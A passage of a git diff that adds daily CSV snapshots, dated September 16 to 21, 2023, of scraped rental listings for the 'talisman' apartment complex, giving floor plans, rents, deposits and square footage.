Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230915,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230915,talisman,C1 (2x2),2 Bed 2 Bath,"$3,142",$300,1029 - 1294 sq.ft.,None,N/A +20230915,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230915,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230915,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230915,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230915,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230915,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230915,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230915,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230915,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230915,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230915,talisman,D1 (3x2),3 Bed 2 Bath,"$3,267",$300,1241 - 1362 sq.ft.,None,N/A +20230915,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230915,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230915,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230916.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230916.csv new file mode 100644 index 00000000000..83e20104acb --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230916.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230916,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230916,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230916,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230916,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230916,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230916,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230916,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230916,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230916,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230916,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230916,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230916,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230916,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230916,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230916,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230916,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230916,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230916,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230916,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230916,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230916,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230916,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230916,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230916,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230916,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230916,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230916,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230916,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230916,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230916,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230916,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230916,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230916,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230916,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230916,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230916,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230916,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230916,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230916,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230916,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230916,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230916,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230916,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230916,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230917.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230917.csv new file mode 100644 index 00000000000..c1fa6f550dd --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230917.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230917,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230917,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230917,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230917,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230917,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230917,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230917,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230917,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230917,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230917,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230917,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230917,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230917,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230917,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230917,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230917,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230917,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230917,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230917,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230917,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230917,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230917,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230917,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230917,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230917,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230917,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230917,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230917,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230917,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230917,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230917,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230917,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230917,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230917,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230917,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230917,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230917,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230917,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230917,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230917,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230917,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230917,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230917,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230917,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230918.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230918.csv new file mode 100644 index 00000000000..8ffb5dbb016 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230918.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230918,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230918,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230918,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230918,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230918,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230918,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230918,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230918,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230918,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230918,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230918,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230918,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230918,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230918,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230918,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230918,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230918,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230918,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230918,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230918,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230918,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230918,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230918,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230918,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230918,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230918,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230918,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230918,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230918,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230918,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230918,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230918,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230918,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230918,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230918,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230918,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230918,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230918,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230918,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230918,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230918,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230918,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230918,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230918,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230919.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230919.csv new file mode 100644 index 00000000000..51137c70fba --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230919.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230919,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230919,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230919,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230919,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230919,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230919,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230919,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230919,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230919,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230919,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230919,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230919,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230919,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230919,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230919,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230919,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230919,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230919,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230919,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230919,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230919,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230919,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230919,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230919,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230919,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230919,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230919,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230919,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230919,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230919,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230919,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230919,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230919,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230919,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230919,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230919,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230919,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230919,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230919,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230919,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230919,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230919,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230919,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230919,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230920.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230920.csv new file mode 100644 index 00000000000..43d9a589c30 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230920.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230920,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230920,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230920,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230920,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230920,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230920,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230920,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230920,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230920,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230920,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230920,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230920,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230920,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230920,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230920,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230920,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230920,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230920,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230920,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230920,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230920,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230920,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230920,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230920,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230920,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230920,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230920,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230920,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230920,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230920,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230920,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230920,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230920,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230920,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230920,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230920,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230920,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230920,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230920,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230920,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230920,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230920,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230920,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230920,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230921.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230921.csv new file mode 100644 index 00000000000..e61deb46f01 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230921.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230921,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230921,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230921,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230921,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230921,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230921,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230921,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230921,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230921,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230921,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230921,talisman,B5 (1x1),1 Bed 1 